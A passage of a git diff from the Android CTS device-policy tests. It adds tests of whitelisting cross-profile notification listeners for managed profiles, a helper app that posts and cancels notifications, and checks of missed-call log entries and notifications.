+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.managedprofile;
+
+import static com.android.cts.managedprofile.NotificationListenerTest.ACTION_NOTIFICATION_POSTED;
+import static com.android.cts.managedprofile.NotificationListenerTest.ACTION_NOTIFICATION_REMOVED;
+import static com.android.cts.managedprofile.NotificationListenerTest.ACTION_LISTENER_CONNECTED;
+
+import android.content.Intent;
+import android.service.notification.NotificationListenerService;
+import android.service.notification.StatusBarNotification;
+import android.support.v4.content.LocalBroadcastManager;
+import android.util.Log;
+
+public class CrossProfileNotificationListenerService extends NotificationListenerService {
+
+    static final String NOTIFICATION_CHANNEL = "NotificationListenerTest";
+    private static final String TAG = NotificationListenerTest.TAG;
+
+    @Override
+    public void onNotificationPosted(StatusBarNotification sbn) {
+        Log.i(TAG, "onNotificationPosted(" + sbn + ")");
+        sendBroadcastForNotification(sbn, ACTION_NOTIFICATION_POSTED);
+    }
+
+    @Override
+    public void onNotificationRemoved(StatusBarNotification sbn) {
+        Log.i(TAG, "onNotificationRemoved(" + sbn + ")");
+        sendBroadcastForNotification(sbn, ACTION_NOTIFICATION_REMOVED);
+    }
+
+    @Override
+    public void onListenerConnected() {
+        Log.i(TAG, "onListenerConnected() " + android.os.Process.myPid());
+        LocalBroadcastManager.getInstance(this).sendBroadcast(
+                new Intent(ACTION_LISTENER_CONNECTED));
+    }
+
+    @Override
+    public void onListenerDisconnected() {
+        Log.i(TAG, "onListenerDisconnected()");
+    }
+
+    private void sendBroadcastForNotification(StatusBarNotification sbn, String action) {
+        if (NOTIFICATION_CHANNEL.equals(sbn.getNotification().getChannelId())) {
+            LocalBroadcastManager.getInstance(this).sendBroadcast(new Intent(action));
+        } else {
+            Log.i(TAG, "Notification is for different channel "
+                    + sbn.getNotification().getChannelId());
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DummyConnectionService.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DummyConnectionService.java
index 0b1731d..b00e0a4 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DummyConnectionService.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DummyConnectionService.java
@@ -31,6 +31,9 @@
  */
 public class DummyConnectionService extends ConnectionService {
 
+    public static final String MISSED_PHONE_NUMBER = "520";
+    public static final String NORMAL_PHONE_NUMBER = "886";
+
     @Override
     public Connection onCreateOutgoingConnection(PhoneAccountHandle connectionManagerPhoneAccount,
             ConnectionRequest request) {
@@ -112,17 +115,28 @@
         }
     }
 
+    private static int convertNumberToCause(String number) {
+        switch (number) {
+            case NORMAL_PHONE_NUMBER:
+                return DisconnectCause.LOCAL;
+            case MISSED_PHONE_NUMBER:
+                return DisconnectCause.MISSED;
+        }
+        throw new IllegalArgumentException("Should not happen");
+    }
+
     /**
      * Hang up the call after 1 second in a background thread.
      * TODO: It is better if we could have a callback to know when we can disconnect the call.
      */
     private static void hangUpAsync(final Connection connection) {
+        final int cause = convertNumberToCause(connection.getAddress().getSchemeSpecificPart());
         new Thread(new Runnable() {
             @Override
             public void run() {
                 try {
                     Thread.sleep(1000);
-                    connection.onDisconnect();
+                    connection.setDisconnected(new DisconnectCause(cause));
                 } catch (InterruptedException ex) {
                     // let it be
                 }
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/MissedCallNotificationReceiver.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/MissedCallNotificationReceiver.java
new file mode 100644
index 0000000..9a06f55
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/MissedCallNotificationReceiver.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.managedprofile;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public class MissedCallNotificationReceiver extends BroadcastReceiver {
+
+    private static IntentListener sIntentListener;
+
+    public interface IntentListener {
+
+        void onIntentReceived(Intent intent);
+    }
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        sIntentListener.onIntentReceived(intent);
+    }
+
+    public static void setIntentListener(IntentListener listener) {
+        sIntentListener = listener;
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NotificationListenerTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NotificationListenerTest.java
new file mode 100644
index 0000000..d4cbae7
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NotificationListenerTest.java
@@ -0,0 +1,252 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.managedprofile;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.UiAutomation;
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.uiautomator.UiDevice;
+import android.support.v4.content.LocalBroadcastManager;
+import android.util.Log;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.io.IOException;
+import java.util.Collections;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@SmallTest
+public class NotificationListenerTest {
+
+    static final String TAG = "ListenerTest";
+    static final String ACTION_NOTIFICATION_POSTED = "notification_posted";
+    static final String ACTION_NOTIFICATION_REMOVED = "notification_removed";
+    static final String ACTION_LISTENER_CONNECTED = "listener_connected";
+
+    private static final String PARAM_PROFILE_ID = "profile-id";
+
+    static final String SENDER_COMPONENT =
+            "com.android.cts.managedprofiletests.notificationsender/.SendNotification";
+
+    private final LocalBroadcastReceiver mReceiver = new LocalBroadcastReceiver();
+    private Context mContext;
+    private DevicePolicyManager mDpm;
+    private NotificationManager mNotificationManager;
+    private UiDevice mDevice;
+    private int mProfileUserId;
+    private String mPreviousListeners;
+    private boolean mChangedListeners;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mDpm = mContext.getSystemService(DevicePolicyManager.class);
+        mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        mProfileUserId = getParam(InstrumentationRegistry.getArguments(), PARAM_PROFILE_ID);
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(ACTION_NOTIFICATION_POSTED);
+        filter.addAction(ACTION_NOTIFICATION_REMOVED);
+        filter.addAction(ACTION_LISTENER_CONNECTED);
+        LocalBroadcastManager.getInstance(mContext).registerReceiver(mReceiver, filter);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        LocalBroadcastManager.getInstance(mContext).unregisterReceiver(mReceiver);
+        if (mChangedListeners) {
+            if (mPreviousListeners != null) {
+                mDevice.executeShellCommand(
+                        "settings put secure enabled_notification_listeners "
+                        + mPreviousListeners);
+            } else {
+                mDevice.executeShellCommand(
+                        "settings delete secure enabled_notification_listeners");
+            }
+        }
+    }
+
+    @Test
+    public void testSetEmptyWhitelist() throws Exception {
+        mDpm.setPermittedCrossProfileNotificationListeners(
+                BaseManagedProfileTest.ADMIN_RECEIVER_COMPONENT,
+                Collections.<String>emptyList());
+    }
+
+    @Test
+    public void testAddListenerToWhitelist() throws Exception {
+        mDpm.setPermittedCrossProfileNotificationListeners(
+                BaseManagedProfileTest.ADMIN_RECEIVER_COMPONENT,
+                Collections.singletonList(mContext.getPackageName()));
+    }
+
+    @Test
+    public void testSetNullWhitelist() throws Exception {
+        mDpm.setPermittedCrossProfileNotificationListeners(
+                BaseManagedProfileTest.ADMIN_RECEIVER_COMPONENT, null);
+    }
+
+    @Test
+    public void testCanReceiveNotifications() throws Exception {
+        enableNotificationListener();
+
+        sendProfileNotification();
+        assertTrue(mReceiver.waitForNotificationPostedReceived());
+        cancelProfileNotification();
+        assertTrue(mReceiver.waitForNotificationRemovedReceived());
+
+        mReceiver.reset();
+
+        sendPersonalNotification();
+        assertTrue(mReceiver.waitForNotificationPostedReceived());
+        cancelPersonalNotification();
+        assertTrue(mReceiver.waitForNotificationRemovedReceived());
+    }
+
+    @Test
+    public void testCannotReceiveProfileNotifications() throws Exception {
+        enableNotificationListener();
+
+        sendProfileNotification();
+        // Don't see notification or cancellation from work profile.
+        assertFalse(mReceiver.waitForNotificationPostedReceived());
+        cancelProfileNotification();
+        assertFalse(mReceiver.waitForNotificationRemovedReceived());
+
+        mReceiver.reset();
+
+        // Do see the one from the personal side.
+        sendPersonalNotification();
+        assertTrue(mReceiver.waitForNotificationPostedReceived());
+        cancelPersonalNotification();
+        assertTrue(mReceiver.waitForNotificationRemovedReceived());
+    }
+
+    private void cancelProfileNotification() throws IOException {
+        mDevice.executeShellCommand(
+                "am start --user " + mProfileUserId + " -a CANCEL_NOTIFICATION -n "
+                + SENDER_COMPONENT);
+    }
+
+    private void cancelPersonalNotification() throws IOException {
+        mDevice.executeShellCommand(
+                "am start -a CANCEL_NOTIFICATION -n "
+                + SENDER_COMPONENT);
+    }
+
+    private void sendProfileNotification() throws IOException {
+        mDevice.executeShellCommand(
+                "am start --user " + mProfileUserId + " -a POST_NOTIFICATION -n "
+                + SENDER_COMPONENT);
+    }
+
+    private void sendPersonalNotification() throws IOException {
+        mDevice.executeShellCommand(
+                "am start -a POST_NOTIFICATION -n "
+                + SENDER_COMPONENT);
+    }
+
+    private void enableNotificationListener() throws Exception {
+        String listeners = mDevice.executeShellCommand(
+                "settings get secure enabled_notification_listeners").trim();
+        if (listeners.equals("null")) {
+            listeners = null;
+        }
+        String testListener = new ComponentName(
+                mContext, CrossProfileNotificationListenerService.class).flattenToString();
+
+        if (listeners == null || !listeners.contains(testListener)) {
+            mPreviousListeners = listeners;
+            mChangedListeners = true;
+            String newListeners;
+            if (listeners != null && listeners.length() > 0) {
+                newListeners = listeners + ":" + testListener;
+            } else {
+                newListeners = testListener;
+            }
+            mDevice.executeShellCommand(
+                    "settings put secure enabled_notification_listeners "
+                    + newListeners);
+            Log.i(TAG, "Enabled notification listener " + testListener);
+            assertTrue(mReceiver.waitForListenerConnected());
+        }
+    }
+
+    private int getParam(Bundle arguments, String key) throws Exception {
+        String serial = arguments.getString(key);
+        if (serial == null) {
+            throw new IllegalArgumentException("Missing argument " + key);
+        }
+        return Integer.parseInt(serial);
+    }
+
+    static class LocalBroadcastReceiver extends BroadcastReceiver {
+
+        private static final int TIMEOUT_SECONDS = 10;
+
+        private CountDownLatch mNotificationPostedLatch = new CountDownLatch(1);
+        private CountDownLatch mNotificationRemovedLatch = new CountDownLatch(1);
+        private CountDownLatch mListenerConnectedLatch = new CountDownLatch(1);
+
+        public void reset() {
+            mNotificationPostedLatch = new CountDownLatch(1);
+            mNotificationRemovedLatch = new CountDownLatch(1);
+            mListenerConnectedLatch = new CountDownLatch(1);
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            Log.i(TAG, "onReceive(" + intent + ")");
+            if (ACTION_NOTIFICATION_POSTED.equals(intent.getAction())) {
+                mNotificationPostedLatch.countDown();
+            } else if (ACTION_NOTIFICATION_REMOVED.equals(intent.getAction())) {
+                mNotificationRemovedLatch.countDown();
+            } else if (ACTION_LISTENER_CONNECTED.equals(intent.getAction())) {
+                mListenerConnectedLatch.countDown();
+            } else {
+                Log.e(TAG, "Received broadcast for unknown action: " + intent.getAction());
+            }
+        }
+
+        public boolean waitForNotificationPostedReceived() throws InterruptedException {
+            return mNotificationPostedLatch.await(TIMEOUT_SECONDS, TimeUnit.SECONDS);
+        }
+
+        public boolean waitForNotificationRemovedReceived() throws InterruptedException {
+            return mNotificationRemovedLatch.await(TIMEOUT_SECONDS, TimeUnit.SECONDS);
+        }
+
+        public boolean waitForListenerConnected() throws InterruptedException {
+            return mListenerConnectedLatch.await(TIMEOUT_SECONDS, TimeUnit.SECONDS);
+        }
+    }
+
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PhoneAccountTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PhoneAccountTest.java
index 63f2309..7d108c8 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PhoneAccountTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PhoneAccountTest.java
@@ -17,6 +17,9 @@
 
 package com.android.cts.managedprofile;
 
+import static com.android.cts.managedprofile.DummyConnectionService.MISSED_PHONE_NUMBER;
+import static com.android.cts.managedprofile.DummyConnectionService.NORMAL_PHONE_NUMBER;
+
 import android.app.Instrumentation;
 import android.content.ComponentName;
 import android.content.Context;
@@ -36,6 +39,8 @@
 import android.telecom.TelecomManager;
 import android.test.InstrumentationTestCase;
 
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+import com.android.cts.managedprofile.MissedCallNotificationReceiver.IntentListener;
 import java.io.BufferedReader;
 import java.io.FileInputStream;
 import java.io.InputStream;
@@ -43,6 +48,7 @@
 import java.nio.charset.StandardCharsets;
 import java.util.Arrays;
 import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
 
 public class PhoneAccountTest extends InstrumentationTestCase {
@@ -51,8 +57,6 @@
 
     private static final String COMMAND_ENABLE = "telecom set-phone-account-enabled";
 
-    private static final String PHONE_NUMBER = "886";
-
     private static final String QUERY_CALL_THROUGH_OUR_CONNECTION_SERVICE = Calls.NUMBER
             + " = ? AND " + Calls.PHONE_ACCOUNT_COMPONENT_NAME + " = ?";
 
@@ -95,8 +99,9 @@
      *  properly.
      */
     private void internalTestOutgoingCall(boolean usingTelecomManager) throws Exception {
+        final String phoneNumber = NORMAL_PHONE_NUMBER;
         // Make sure no lingering values from previous runs.
-        cleanupCall(false);
+        cleanupCall(phoneNumber, false /*verifyDeletion*/);
         final Context context = getInstrumentation().getContext();
         final HandlerThread handlerThread = new HandlerThread("Observer");
         // Register the phone account.
@@ -112,32 +117,35 @@
 
             // Place the call.
             if (usingTelecomManager) {
-                placeCallUsingTelecomManager(phoneAccountHandle);
+                placeCallUsingTelecomManager(phoneAccountHandle, phoneNumber);
             } else {
-                placeCallUsingActionCall(phoneAccountHandle);
+                placeCallUsingActionCall(phoneAccountHandle, phoneNumber);
             }
 
             // Make sure the call inserted is correct.
             boolean calllogProviderChanged = countDownLatch.await(1, TimeUnit.MINUTES);
             assertTrue(calllogProviderChanged);
-            assertCalllogInserted(Calls.OUTGOING_TYPE);
+            assertCalllogInserted(Calls.OUTGOING_TYPE, phoneNumber);
         } finally {
             handlerThread.quit();
-            cleanupCall(true /* verifyDeletion */ );
+            cleanupCall(phoneNumber, true /* verifyDeletion */ );
             unregisterPhoneAccount();
         }
     }
 
-    private void placeCallUsingTelecomManager(PhoneAccountHandle phoneAccountHandle) {
-        Uri phoneUri = Uri.fromParts(PhoneAccount.SCHEME_TEL, PHONE_NUMBER, null);
+    private void placeCallUsingTelecomManager(
+        PhoneAccountHandle phoneAccountHandle, String phoneNumber) {
+        Uri phoneUri = Uri.fromParts(
+            PhoneAccount.SCHEME_TEL, phoneNumber, null);
         Bundle extras = new Bundle();
         extras.putParcelable(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE, phoneAccountHandle);
         mTelecomManager.placeCall(phoneUri, extras);
     }
 
-    private void placeCallUsingActionCall(PhoneAccountHandle phoneAccountHandle) {
+    private void placeCallUsingActionCall(
+        PhoneAccountHandle phoneAccountHandle, String phoneNumber) {
         Intent intent = new Intent(Intent.ACTION_CALL);
-        intent.setData(Uri.parse("tel:" + PHONE_NUMBER));
+        intent.setData(Uri.parse("tel:" + phoneNumber));
         intent.putExtra(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE, phoneAccountHandle);
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         mContext.startActivity(intent);
@@ -147,8 +155,34 @@
      *  Add an incoming call with our phone account and verify the call is inserted properly.
      */
     public void testIncomingCall() throws Exception {
+        internalTestIncomingCall(false /* missedCall */);
+    }
+
+    /**
+     *  Add an missed incoming call with our phone account and verify the call is inserted properly.
+     */
+    public void testIncomingMissedCall() throws Exception {
+        final LinkedBlockingQueue<Intent> queue = new LinkedBlockingQueue<>(1);
+        MissedCallNotificationReceiver.setIntentListener(new IntentListener() {
+            @Override
+            public void onIntentReceived(Intent intent) {
+                queue.offer(intent);
+            }
+        });
+        internalTestIncomingCall(true /* missedCall */);
+        Intent intent = queue.poll(10, TimeUnit.SECONDS);
+        assertNotNull(intent);
+        assertEquals(TelecomManager.ACTION_SHOW_MISSED_CALLS_NOTIFICATION, intent.getAction());
+        assertEquals(
+                MISSED_PHONE_NUMBER,
+                intent.getStringExtra(TelecomManager.EXTRA_NOTIFICATION_PHONE_NUMBER));
+    }
+
+    private void internalTestIncomingCall(boolean missedCall) throws Exception {
+        final String phoneNumber = missedCall ? MISSED_PHONE_NUMBER : NORMAL_PHONE_NUMBER;
+        final int callType = missedCall ? Calls.MISSED_TYPE : Calls.INCOMING_TYPE;
         // Make sure no lingering values from previous runs.
-        cleanupCall(false);
+        cleanupCall(phoneNumber, false /* verifyDeletion */ );
         final Context context = getInstrumentation().getContext();
         final HandlerThread handlerThread = new HandlerThread("Observer");
         // Register the phone account.
@@ -159,22 +193,24 @@
             final CountDownLatch countDownLatch = new CountDownLatch(1);
             handlerThread.start();
             context.getContentResolver().registerContentObserver(Calls.CONTENT_URI, false,
-                    new CalllogContentObserver(new Handler(handlerThread.getLooper()),
-                            countDownLatch));
+                new CalllogContentObserver(new Handler(handlerThread.getLooper()),
+                    countDownLatch));
 
             // Add a incoming call.
             final Bundle bundle = new Bundle();
-            final Uri phoneUri = Uri.fromParts(PhoneAccount.SCHEME_TEL, PHONE_NUMBER, null);
+            final Uri phoneUri = Uri.fromParts(
+                PhoneAccount.SCHEME_TEL, phoneNumber, null);
             bundle.putParcelable(TelecomManager.EXTRA_INCOMING_CALL_ADDRESS, phoneUri);
+
             mTelecomManager.addNewIncomingCall(phoneAccountHandle, bundle);
 
             // Make sure the call inserted is correct.
             boolean calllogProviderChanged = countDownLatch.await(1, TimeUnit.MINUTES);
             assertTrue(calllogProviderChanged);
-            assertCalllogInserted(Calls.INCOMING_TYPE);
+            assertCalllogInserted(callType, phoneNumber);
         } finally {
             handlerThread.quit();
-            cleanupCall(true /* verifyDeletion */ );
+            cleanupCall(phoneNumber, true /* verifyDeletion */ );
             unregisterPhoneAccount();
         }
     }
@@ -183,8 +219,8 @@
         Cursor cursor = null;
         try {
             cursor = mContext.getContentResolver()
-                    .query(Calls.CONTENT_URI, null, Calls.NUMBER + " = ?",
-                            new String[]{PHONE_NUMBER}, null);
+                    .query(Calls.CONTENT_URI, null, Calls.NUMBER + " in (?,?)",
+                            new String[]{NORMAL_PHONE_NUMBER, MISSED_PHONE_NUMBER}, null);
             assertEquals(0, cursor.getCount());
         } finally {
             if (cursor != null) {
@@ -205,17 +241,21 @@
         assertNull(mTelecomManager.getPhoneAccount(PHONE_ACCOUNT_HANDLE));
     }
 
-    private void assertCalllogInserted(int type) {
+    private void assertCalllogInserted(int type, String phoneNumber) {
         Cursor cursor = null;
         try {
             final String connectionServiceComponentName = new ComponentName(mContext,
-                    DummyConnectionService.class).flattenToString();
+                DummyConnectionService.class).flattenToString();
             cursor = mContext.getContentResolver()
-                    .query(Calls.CONTENT_URI, null,
-                            QUERY_CALL_THROUGH_OUR_CONNECTION_SERVICE + " AND " +
-                                    Calls.TYPE + " = ?",
-                            new String[]{PHONE_NUMBER, connectionServiceComponentName,
-                                    String.valueOf(type)}, null);
+                .query(Calls.CONTENT_URI, null,
+                    QUERY_CALL_THROUGH_OUR_CONNECTION_SERVICE + " AND " +
+                        Calls.TYPE + " = ?",
+                    new String[]{
+                        phoneNumber,
+                        connectionServiceComponentName,
+                        String.valueOf(type)
+                    },
+                    null);
             assertEquals(1, cursor.getCount());
         } finally {
             if (cursor != null) {
@@ -224,12 +264,12 @@
         }
     }
 
-    private void cleanupCall(boolean verifyDeletion) {
+    private void cleanupCall(String phoneNumber, boolean verifyDeletion) {
         final String connectionServiceComponentName = new ComponentName(mContext,
                 DummyConnectionService.class).flattenToString();
         int numRowDeleted = mContext.getContentResolver()
                 .delete(Calls.CONTENT_URI, QUERY_CALL_THROUGH_OUR_CONNECTION_SERVICE,
-                        new String[]{PHONE_NUMBER, connectionServiceComponentName});
+                        new String[]{phoneNumber, connectionServiceComponentName});
         if (verifyDeletion) {
             assertEquals(1, numRowDeleted);
         }
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningTest.java
index d911812..23de823 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningTest.java
@@ -21,13 +21,11 @@
 import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME;
 import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_KEEP_ACCOUNT_ON_MIGRATION;
 import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_SKIP_ENCRYPTION;
-import static android.app.admin.DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED;
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
-import android.Manifest;
 import android.accounts.Account;
 import android.accounts.AccountManager;
 import android.app.admin.DeviceAdminReceiver;
@@ -135,7 +133,7 @@
                 am.getAccountsByType(AccountAuthenticator.ACCOUNT_TYPE).length == 0);
     }
 
-    public Intent createBaseProvisioningIntent() {
+    private Intent createBaseProvisioningIntent() {
         return new Intent(ACTION_PROVISION_MANAGED_PROFILE)
                 .putExtra(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME, ADMIN_RECEIVER_COMPONENT)
                 .putExtra(EXTRA_PROVISIONING_SKIP_ENCRYPTION, true)
diff --git a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk b/hostsidetests/devicepolicy/app/NotificationSender/Android.mk
similarity index 62%
copy from hostsidetests/jvmti/run-tests/test-981/app/Android.mk
copy to hostsidetests/devicepolicy/app/NotificationSender/Android.mk
index ec8f7aa..8b85e66 100644
--- a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk
+++ b/hostsidetests/devicepolicy/app/NotificationSender/Android.mk
@@ -16,18 +16,22 @@
 
 include $(CLEAR_VARS)
 
-LOCAL_MODULE_TAGS := tests
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := optional
+
+# When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
+
+LOCAL_PACKAGE_NAME := CtsNotificationSenderApp
+
 LOCAL_SDK_VERSION := current
 
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest981DeviceApp
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
-include $(BUILD_PACKAGE)
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/vm-tests-tf/AndroidManifest.xml b/hostsidetests/devicepolicy/app/NotificationSender/AndroidManifest.xml
similarity index 62%
copy from tests/vm-tests-tf/AndroidManifest.xml
copy to hostsidetests/devicepolicy/app/NotificationSender/AndroidManifest.xml
index 2a2f40a..0f5ac6d 100644
--- a/tests/vm-tests-tf/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/NotificationSender/AndroidManifest.xml
@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
- * Copyright (C) 2007 The Android Open Source Project
+ * Copyright (C) 2017 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -16,14 +16,12 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.core.vm-tests-tf">
-    <uses-permission android:name="android.permission.INTERNET" />
+    package="com.android.cts.managedprofiletests.notificationsender">
+
     <application>
-        <uses-library android:name="android.test.runner" />
+      <activity android:name=".SendNotification"
+                android:exported="true">
+      </activity>
     </application>
-
-    <instrumentation android:name="android.test.InstrumentationCoreTestRunner"
-                     android:targetPackage="android.core.vm-tests-tf"
-                     android:label="cts trade federation vm tests"/>
-
 </manifest>
+
diff --git a/hostsidetests/devicepolicy/app/NotificationSender/res/raw/ic_contact_picture.png b/hostsidetests/devicepolicy/app/NotificationSender/res/raw/ic_contact_picture.png
new file mode 100644
index 0000000..37b558b
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/NotificationSender/res/raw/ic_contact_picture.png
Binary files differ
diff --git a/hostsidetests/devicepolicy/app/NotificationSender/src/com/android/cts/managedprofiletests/notificationsender/SendNotification.java b/hostsidetests/devicepolicy/app/NotificationSender/src/com/android/cts/managedprofiletests/notificationsender/SendNotification.java
new file mode 100644
index 0000000..80c4073
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/NotificationSender/src/com/android/cts/managedprofiletests/notificationsender/SendNotification.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.managedprofiletests.notificationsender;
+
+import android.app.Activity;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+
+import java.lang.Override;
+
+/**
+ * A simple activity to post notifications to test notification
+ * listener whitelists.
+ */
+public class SendNotification extends Activity {
+
+    private static final String TAG = "ListenerTest";
+
+    static final int NOTIFICATION_ID = 98765;
+    static final String NOTIFICATION_CHANNEL = "NotificationListenerTest";
+
+    @Override
+    public void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        Intent intent = getIntent();
+        if (intent != null && "POST_NOTIFICATION".equals(intent.getAction())) {
+            Log.i(TAG, "posting from " + android.os.Process.myUserHandle());
+            sendNotification();
+        } else if (intent != null && "CANCEL_NOTIFICATION".equals(intent.getAction())) {
+            Log.i(TAG, "cancelling from " + android.os.Process.myUserHandle());
+            cancelNotification();
+        }
+        finish();
+    }
+
+    private void sendNotification() {
+        NotificationManager notificationManager =
+                (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+        notificationManager.createNotificationChannel(new NotificationChannel(
+                        NOTIFICATION_CHANNEL, "Test channel", NotificationManager.IMPORTANCE_DEFAULT));
+        notificationManager.notify(NOTIFICATION_ID,
+                new Notification.Builder(getApplicationContext(), NOTIFICATION_CHANNEL)
+                .setSmallIcon(R.raw.ic_contact_picture)
+                .setContentTitle("Test title")
+                .build());
+    }
+
+    private void cancelNotification() {
+        NotificationManager notificationManager =
+                (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+        notificationManager.cancel(NOTIFICATION_ID);
+        notificationManager.deleteNotificationChannel(NOTIFICATION_CHANNEL);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk b/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk
